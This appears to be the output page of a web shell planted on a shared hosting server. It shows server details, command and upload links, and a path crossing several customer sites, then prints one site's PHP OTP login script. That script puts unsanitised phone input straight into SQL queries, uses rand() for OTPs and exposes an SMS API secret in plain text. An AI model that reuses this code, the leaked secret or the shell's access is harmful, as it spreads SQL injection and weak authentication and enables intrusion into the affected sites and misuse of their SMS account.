Server IP : 103.53.40.154 / Your IP : 3.14.250.187 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/ltbuildcon.com/../carefitlingerie.com/../etc/../deergham.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once('admin/config.php'); if (isset($_POST['send_otp'])) { // Check if the mobile number exists in the database and m_status is 'Active' $mobile = $_POST['mobile']; $check_query = "SELECT * FROM tbl_customer WHERE cust_phone='$mobile'"; $result = mysqli_query($db, $check_query); if (mysqli_num_rows($result) > 0) { $row = mysqli_fetch_assoc($result); if ($row['cust_status'] == 'Active') { // Generate a 6-digit OTP $otp = rand(100000, 999999); // Store the OTP and mobile number in a session for verification session_start(); $_SESSION['otp'] = $otp; $_SESSION['mobile'] = $mobile; date_default_timezone_set('Asia/Kolkata'); $otp_generated_at = date('Y-m-d H:i:s'); // Store the OTP and timestamp in the database $update_query = "UPDATE tbl_customer SET otp='$otp', otp_valid='$otp_generated_at' WHERE cust_phone='$mobile'"; mysqli_query($db, $update_query); // Your SMS API details $api_key = "R6rdkXK6XUaKOKoPQFVf"; $to = $_POST['mobile']; $sender_id = "DERGHM"; $message = "Dear Customer, Your login OTP for the registration is $otp please verify your OTP. Thank Team DEERGHAM"; // $p_entity_id = "1201162643300643505"; //not found $temp_id = "1707171109953974889"; // Send the OTP via SMS $apiURL = "https://sms.staticking.com/index.php/smsapi/httpapi/?" . "secret=" . urlencode("R6rdkXK6XUaKOKoPQFVf") . "&sender=" . urlencode("DERGHM") . "&tempid=". urlencode("1707171109953974889") . "&receiver=" . urlencode("$to") . "&route=". urlencode("TA") . "&msgtype=" . urlencode("1") . "&sms=" . urlencode($message); // Initialize cURL session $ch = curl_init(); // Set cURL options curl_setopt($ch, CURLOPT_URL, $apiURL); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // Execute the cURL session and get the response $response = curl_exec($ch); // Check for cURL errors if (curl_errno($ch)) { echo "cURL Error: " . curl_error($ch); } else { // Check if the response contains "Message Sent Successfully" if (strpos($response, "Message Sent Successfully") !== false || strpos($response, '{"smsid":') !== false) { echo "<script> window.location.href = 'verify_otp_next.php'; </script>"; } else { // Handle other response cases echo "Failed to send OTP. Response: " . $response; } } // Close the cURL session curl_close($ch); } else { // Redirect user to support page as mobile number exists but m_status is not Active echo "<script> alert('You are blocked by Deergham. Please contact admin.'); window.location.href = 'contact.html'; </script>"; } } else { // Redirect user to registration page as mobile number doesn't exist echo "<script> alert('You are not registered in Deergham. Please register first.'); window.location.href = 'register.html'; </script>"; } } ?>